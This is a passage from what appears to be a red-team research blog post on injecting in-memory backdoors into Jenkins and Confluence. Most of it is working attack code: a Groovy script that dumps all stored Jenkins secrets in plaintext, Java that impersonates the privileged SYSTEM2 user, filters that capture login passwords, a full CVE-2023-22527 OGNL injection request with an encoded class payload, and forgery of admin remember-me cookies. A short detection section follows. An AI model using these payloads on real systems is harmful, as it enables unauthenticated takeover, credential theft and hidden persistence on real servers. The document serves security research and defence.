c.getPassphrase() != null ? c.getPassphrase().getPlainText() : '', c.privateKeySource.getPrivateKeys())
case UsernamePasswordCredentialsImpl:
return String.format("id=%s desc=%s user=%s pass=%s", c.id, c.description,
c.username, c.password != null ? c.password.getPlainText() : '')
case FileCredentialsImpl:
is = c.getContent()
if(is != null){
byte[] buf = new byte[is.available()]
is.read(buf);
content = buf.encodeBase64().toString()
} else {
content = '';
}
return String.format("id=%s desc=%s filename=%s content=%s", c.id, c.description,
c.getFileName(), content)
case StringCredentialsImpl:
return String.format("id=%s desc=%s secret=%s", c.id, c.description,
c.getSecret() != null ? c.getSecret().getPlainText() : '')
case CertificateCredentialsImpl:
source = c.getKeyStoreSource()
if (source != null)
content = source.getKeyStoreBytes().encodeBase64().toString()
else
content = ''
return String.format("id=%s desc=%s password=%s keystore=%s", c.id, c.description,
c.getPassword() != null ? c.getPassword().getPlainText() : '', content)
default:
return 'Unknown type ' + c.getClass().getName()
}
}
for (group in Jenkins.instance.getAllItems(ItemGroup)) {
println "============= " + group
for (cred in CredentialsProvider.lookupCredentials(StandardCredentials, group))
println stringify(cred)
}
println "============= Global"
for (cred in CredentialsProvider.lookupCredentials(StandardCredentials, Jenkins.instance, null, null))
println stringify(cred)
Implementing a feature to execute Groovy scripts can be really useful, especially when the in-memory webshell was injected by exploiting one of the RCE chains mentioned before, as the injected code would be executed from the context of an unauthenticated user. To be able to perform privileged operations on Jenkins from Groovy scripts, this feature should be adapted to impersonate a privileged user.
Actually, Jenkins internally defines a specific authenticated user, named SYSTEM2, that is granted all privileges. Authentication on Jenkins is performed by using the Authentication core feature of Spring.
The currently authenticated user is stored on a Spring SecurityContext
, where its current instance can be retrieved from the SecurityContextHolder
.
Replacing the current Authentication
instance from null
or ANONYMOUS
on the SecurityContext
is sufficient to impersonate the SYSTEM2
user:
String script = (String) args.get("script");
ClassLoader ctxLoader = Thread.currentThread()
.getContextClassLoader();
Object SYSTEM2 = ctxLoader.loadClass("hudson.security.ACL")
.getField("SYSTEM2").get(null);
Object securityCtx = ctxLoader
.loadClass("org.springframework.security.core.context.SecurityContextHolder")
.getMethod("getContext").invoke(null);
Class authClass = ctxLoader.loadClass("org.springframework.security.core.Authentication");
Object oldAuth = securityCtx.getClass().getMethod("getAuthentication")
.invoke(securityCtx);
Method setAuth = securityCtx.getClass()
.getMethod("setAuthentication", new Class[]{ authClass });
try {
// Impersonate SYSTEM2 (full privileges)
setAuth.invoke(securityCtx, SYSTEM2);
Class scriptingKlass = ctxLoader.loadClass("hudson.util.RemotingDiagnostics$Script");
Constructor scriptingConstructor = scriptingKlass
.getDeclaredConstructors()[0];
scriptingConstructor.setAccessible(true);
Object scripting = scriptingConstructor.newInstance(script);
Method call = scriptingKlass.getDeclaredMethod("call");
call.setAccessible(true);
String res = (String) call.invoke(scripting);
result.put("res", res);
} finally {
//revert auth context
setAuth.invoke(securityCtx, oldAuth);
}
From there, Groovy scripts will be executed with full privileges, whether the user sending the HTTP request to the webshell was already authenticated or not.
Intercepting credentials
Finally, as for Bitbucket, Jenkins uses the /j_spring_security_check
endpoint to authenticate its users, and an LDAP directory can be configured. From our custom Filter, we can easily intercept such requests and log the plaintext credentials:
public class CustomFilter implements Filter {
// [...]
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
try {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
if (/* [...] */) {
// [...]
} else if (request.getRequestURI().equals("/j_spring_security_check")
&& request.getMethod().equalsIgnoreCase("POST")
&& request.getParameter("j_username") != null
&& request.getParameter("j_password") != null) {
logCredentials(request.getParameter("j_username"), request.getParameter("j_password"));
}
} catch (Exception ignored) {
}
if (filterChain != null) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
// [...]
}
Loading through a template injection
Confluence is a collaborative workspace software developed by Atlassian. It is designed to help teams collaborate and share knowledge effectively. Confluence provides a platform for creating, organizing, and discussing content such as documents, spreadsheets, project plans, meeting notes, and more. It is often used in conjunction with other Atlassian products like Jira, Bitbucket, and Trello to facilitate collaboration across different aspects of software development and project management.
Context
During January 2024, an SSTI vulnerability referenced as CVE-2023-22527 affecting Confluence Data Center was disclosed. This vulnerability can be exploited without prior authentication by sending a request to the text-inline.vm
Velocity template. This template performs a direct OGNL (Object-Graph Navigation Language) expansion from request parameters using the findValue
method. An explanation of the root cause and a PoC are provided in this article16.
This vulnerability could be used to compromise the server hosting it, and to perform network pivoting. However, as for Bitbucket, if this application hosts sensitive assets and is still used by legitimate users, it may be interesting to first compromise it and the assets it hosts. Moreover, if outgoing traffic is filtered, and if the application is executed as an unprivileged user, it may be necessary to exfiltrate data using the application itself.
The easiest way to compromise it would be to interact with its runtime, through Java code. Confluence internally uses the following dependencies:
- Struts2.
- Tomcat embedded.
- Spring.
Exploiting this vulnerability to inject an in-memory payload is already described in this blog post17 and in a PoC18. However, we will demonstrate a slightly different method.
Injecting an in-memory payload
In the following request, we are using OGNL shenanigans to bypass the length limitation, without extending the length limit:
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 1341
Connection: close
name=Main33&label=<@urlencode>text\u0027+(#p=#parameters[0]),(#o=#request[#p[0]].internalGet(#p[1])),(#i=0),(#v=#{}),(#parameters[1].{#v[#i-1]=#o.findValue(#parameters[1][(#i=#i+1)-1],#{0:#parameters,1:#v})})+\u0027<@/urlencode>&0=.KEY_velocity.struts2.context&0=ognl&1=@Thread@currentThread().getContextClassLoader()&1=@java.util.Base64@getDecoder().decode(#root[0]["clazz"][0])&1=new+net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],#{#root[0]['name'][0]:#root[1][1]})&1=@org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","")&1=#root[1][3].getMethod().invoke(#root[1][2],#root[0]['name'][0]).newInstance()&clazz=<@urlencode>yv66vgAAAD0AIQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCQAIAAkHAAoMAAsADAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsIAA4BAAtDb25zdHJ1Y3RvcgoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVggAFgEADFN0YXRpYyBibG9jawcAGAEABk1haW4zMwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAITE1haW4zMzsBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAtNYWluMzMuamF2YQAhABcAAgAAAAAAAgABAAUABgABABkAAAA/AAIAAQAAAA0qtwABsgAHEg22AA+xAAAAAgAaAAAADgADAAAAAgAEAAMADAAEABsAAAAMAAEAAAANABwAHQAAAAgAHgAGAAEAGQAAACUAAgAAAAAACbIABxIVtgAPsQAAAAEAGgAAAAoAAgAAAAcACAAIAAEAHwAAAAIAIA==<@/urlencode>
This payload is divided into four parts:
- The
label
parameter exploiting the OGNL injection and escaping the restricted Struts2 context. - The POST parameter array
0
, making thelabel
payload shorter. - The POST parameter array
1
, defining the complex payload finally executed. - Supplementary POST parameters, used to pass parameters to the step 3 payload (such as
clazz
andname
).
In a more readable way, the label
parameter injects the following OGNL payload:
// #parameters[0] = {".KEY_velocity.struts2.context", "ognl"}
// #parameters[1] = {"3*6", "@System@out.println(#root[1][0])"}
#p = #parameters[0]
#o = #request[#p[0]].internalGet(#p[1])
#i = 0
#v = #{}
#parameters[1].{
#v[#i-1] = #o.findValue(
#parameters[1][(#i = #i + 1) - 1],
#{0:#parameters, 1:#v}
)
}
It escapes the sandbox, and uses collection projections with a delegate (cf. documentation and this blog post19) in order to evaluate each element (or payload line) of the POST parameter array 1
. The label
payload also stores the result of each previous line executed outside the sandbox, and passes this result array in the parameter #root[1]
. Finally, it passes POST parameters of the current request in #root[0]
.
Even though the Struts2 context is escaped, the OgnlRuntime
class still restricts which methods can be invoked:
package ognl;
// [...]
public class OgnlRuntime {
// [...]
public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
if (_useStricterInvocation) {
Class methodDeclaringClass = method.getDeclaringClass();
if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method)
|| AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method)
|| SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method)
|| SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method)
|| AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass)
|| ClassResolver.class.isAssignableFrom(methodDeclaringClass)
|| MethodAccessor.class.isAssignableFrom(methodDeclaringClass)
|| MemberAccess.class.isAssignableFrom(methodDeclaringClass)
|| OgnlContext.class.isAssignableFrom(methodDeclaringClass)
|| Runtime.class.isAssignableFrom(methodDeclaringClass)
|| ClassLoader.class.isAssignableFrom(methodDeclaringClass)
|| ProcessBuilder.class.isAssignableFrom(methodDeclaringClass)
|| AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");
}
}
// [...]
}
It can be easily bypassed by calling MethodInvocationUtils
of Spring.
The final payload, stored in the POST parameter array 1
, injects custom classes using ByteArrayClassLoader
which is included by Confluence, and MethodInvocationUtils
of Spring to call the filtered method loadClass
of ClassLoader
:
#root[1][0] = @Thread@currentThread().getContextClassLoader()
#root[1][1] = @java.util.Base64@getDecoder().decode(#root[0]["clazz"][0])
#root[1][2] = new net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],#{#root[0]['name'][0]:#root[1][1]})
#root[1][3] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","")
#root[1][4] = #root[1][3].getMethod().invoke(#root[1][2],#root[0]['name'][0]).newInstance()
This payload can be extended to define as many classes as required, specified in the POST parameter arrays classes
and names
:
#root[1][0] = @Thread@currentThread().getContextClassLoader()
#root[1][1] = @java.util.Base64@getDecoder()
#root[1][2] = new net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],false,#{})
#root[1][3] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"defineClass","","".getBytes()).getMethod()
#root[1][4] = #root[(#k=0)]['classes'].{#root[1][3].invoke(#root[1][2],#root[0]['names'][(#k=#k+1)-1],#root[1][1].decode(#root[0]['classes'][#k-1]))}
#root[1][5] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","").getMethod()
#root[1][6] = #root[1][5].invoke(#root[1][2],#root[0]['main'][0]).newInstance()
Note that scripting engines could also be used here to completely bypass the sandbox, as long as they are loaded by Confluence. A PoC on GitHub20 and a write-up21 were relying on the JavaScript ScriptingEngine
to exploit CVE-2022-26134 and to inject a custom class at runtime. However, such engines seem to be no longer available by default on Confluence and JDK 17.
Interacting with Confluence
Similar to Bitbucket, Confluence is a product developed by Atlassian, and we can identify certain resemblances between them. It is worth noting that other researchers have previously published22 23 examples of Java classes aiming at executing post-exploitation attacks.
Injecting an in-memory backdoor into Confluence can leverage the same technique outlined in the Bitbucket section. Since Confluence is built on Tomcat, the process involves registering a new Valve
, enabling to utilize the existing code base for injecting the backdoor. From the exploitation of the SSTI presented in the previous section, one can access the StandardContext
of Tomcat by leveraging Struts2's ServletActionContext
. Indeed, the latter being accessible from a thread processing a web request, a reference to the StandardContext
instance can be obtained by doing some reflection on different fields.
ServletContext svlCtx = ServletActionContext.getRequest().getServletContext();
Field field = svlCtx.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(svlCtx);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
return (StandardContext)field.get(applicationContext);
With a reference on this context, a Valve can be registered as previously described.
However, there is a notable difference between Bitbucket and Confluence regarding their approach to access components. While Bitbucket utilizes the @Service
annotation from the Spring framework to inject dependencies, Confluence adopts an instance manager. The primary component facilitating access to various classes within the application is the ContainerManager
. It maintains references to instances of other classes, which can be statically retrieved through it, as demonstrated below:
UserAccessor userAccessor = (UserAccessor) ContainerManager.getComponent("userAccessor");
for (User user : userAccessor.getUsers()) {
System.out.println(user.getName())
}
This allows us to access and interact with any Confluence component.
Generating authentication cookies
Using the ContainerManager
class, we can access different classes to generate remember-me
cookies as it was done for Bitbucket. This technique was already published on two GitHub repositories22 23.
By accessing the RememberMeTokenDao
class, we can generate new remember-me
cookies for arbitrary users:
DefaultRememberMeTokenGenerator generator = new DefaultRememberMeTokenGenerator();
RememberMeConfiguration config = (RememberMeConfiguration) ContainerManager
.getComponent("rememberMeConfig");
RememberMeToken token = ((RememberMeTokenDao) ContainerManager.getComponent("rememberMeTokenDao"))
.save(generator.generateToken("admin"));
String cookie = String.format("%s=%s",
config.getCookieName(),
URLEncoder.encode(String.format("%s:%s", save.getId(), save.getRandomString()))
);
// seraph.confluence=622594%3Aeccf6dfd9acbde7dc82d43357df11e203d07b1df
This cookie can then be used to obtain an authenticated session and to administrate the application:
$ curl -kIs -b "seraph.confluence=622594%3Aeccf6dfd9acbde7dc82d43357df11e203d07b1df" http://confluence.local:8090/admin/users/browseusers.action
HTTP/1.1 200
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1712744566388
Set-Cookie: JSESSIONID=960285A70EAA39C4F21CAE9530A873F3; Path=/; HttpOnly
X-Seraph-LoginReason: OK
X-AUSERNAME: admin
Intercepting credentials
For Confluence, the authentication form uses the /dologin.action
endpoint. For example, when the form is submitted, the following request is performed:
POST /dologin.action HTTP/1.1
Host: confluence.local:8090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
[...]
os_username=admin&os_password=admin&login=Log+in&os_destination=%2Findex.action
Credentials can be intercepted from the backdoor by extracting the right parameters, as it was done for Bitbucket and Jenkins:
Map<String, Object> creds = new HashMap<>();
creds.put("user", request.getParameter("os_username"));
creds.put("password", request.getParameter("os_password"));
Detection
For blue teamers, identifying an in-memory webshell can be challenging since there are no traces left on the disk. This implies that the only method to detect such payloads is through behavioral analysis, which is inherently difficult. Monitoring sub-processes of these software instances is a good approach, as it can assist in capturing commands executed by the application, from ProcessBuilder
or Runtime.getRuntime().exec(...)
.
If you suspect a potential compromise of a server hosting Java applications, it is feasible to extract sensitive classes using the copagent24 tool. Interestingly, the latter also harnesses the capabilities of a Java agent to extract all loaded classes:
$ java -jar cop.jar -p 7
[INFO] Java version: 17
[INFO] args length: 2
[INFO] Java version: 17
[INFO] args length: 4
[INFO] Try to attach process 7, please wait a moment ...
The tool has a built-in list of sensitive classes to extract:
List<String> riskSuperClassesName = new ArrayList<String>();
riskSuperClassesName.add("javax.servlet.http.HttpServlet");
List<String> riskPackage = new ArrayList<String>();
riskPackage.add("net.rebeyond.");
riskPackage.add("com.metasploit.");
List<String> riskAnnotations = new ArrayList<String>();
riskAnnotations.add("org.springframework.stereotype.Controller");
[...]
When a class matches, it is extracted locally and added to the .copagent/results.txt
file. Here is an example of two classes loaded by our backdoor, and since they extend the javax.servlet.Filter
class, they are extracted:
[...]
order: 281
name: org.foo.bar.Class1
risk level: normal
location: /tmp/.copagent/java/org.foo.bar.a.a - 8f2ef92/org/foo/bar/Class1.java
hashcode: 6e6bb856
classloader: org.foo.bar.a.a
extends : org.foo.bar.a.a@8f2ef92
order: 282
name: org.foo.bar.Class2
risk level: normal
location: /tmp/.copagent/java/org.foo.bar.a.a - 8f2ef92/org/foo/bar/Class2.java
hashcode: 66bd3ba5
classloader: org.foo.bar.a.a
extends : org.foo.bar.a.a@8f2ef92
[...]
Note the risk level score is based on some method calls performed by the class:
List<String> riskKeyword = new ArrayList<String>();
riskKeyword.add("javax.crypto.");
riskKeyword.add("ProcessBuilder");
riskKeyword.add("getRuntime");
riskKeyword.add("shell");
The compiled classes are then accessible locally:
$ ll class/org.foo.bar.a.a-8f2ef92/org/foo/bar/
total 16
4 drwxr-x--- 2 confluence confluence 4096 Apr 10 14:26 .
4 drwxr-x--- 3 confluence confluence 4096 Apr 10 14:26 ..
4 -rw-r----- 1 confluence confluence 3285 Apr 10 14:42 Class1.class
4 -rw-r----- 1 confluence confluence 1377 Apr 10 14:42 Class2.class
Conclusion
We recently employed these methods during red team engagements, and the credential interception aspect proved highly valuable, significantly helping our intrusion efforts. Ultimately, we were successful in obtaining credentials belonging to privileged users. Given that certain services may be associated with an Active Directory, acquiring them could potentially grant privileged access to the internal network.
For blue teams, identifying this type of backdoor presents a considerable challenge, although it can be achieved through certain tools, even if the process is manual and time-consuming. Such attacks have already been observed25 17 in real-world scenarios and attackers may have already used such backdoors. These types of software are frequently targeted by attackers due to the wealth of information they contain, which can be leveraged to continue an intrusion or exfiltrate sensitive data.
- 1. https://www.synacktiv.com/publications/java-deserialization-tricks
- 2. https://github.com/notdls/CVE-2022-36804
- 3. https://www.rapid7.com/db/modules/exploit/linux/http/bitbucket_git_cmd_…
- 4. https://blog.frankel.ch/jvm-security/4/
- 5. https://fahdshariff.blogspot.com/2011/08/changing-java-library-path-at-…
- 6. https://blog.csdn.net/weixin_55436205/article/details/130323614
- 7. https://mp.weixin.qq.com/s/OLNznd14NlzEzeGelRLV9g
- 8. https://github.com/threedr3am/ZhouYu/tree/main
- 9. https://github.com/rebeyond/memShell/tree/master
- 10. https://github.com/rapid7/metasploit-framework/blob/master/modules/expl…
- 11. https://ssd-disclosure.com/ssd-advisory-cloudbees-jenkins-unauthenticat…
- 12. https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic…
- 13. https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthentic…
- 14. https://github.com/orangetw/awesome-jenkins-rce-2019
- 15. https://www.codurance.com/publications/2019/05/30/accessing-and-dumping…
- 16. https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-…
- 17. a. b. https://vulncheck.com/blog/confluence-dreams-of-shells
- 18. https://github.com/vulncheck-oss/cve-2023-22527/tree/main
- 19. https://www.pingidentity.com/en/resources/blog/post/looping-in-ognl.html
- 20. https://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELL
- 21. https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
- 22. a. b. https://github.com/CrackerCat/PostConfluence
- 23. a. b. https://github.com/BeichenDream/PostConfluence
- 24. https://github.com/LandGrey/copagent
- 25. https://blog.cloudflare.com/thanksgiving-2023-security-incident/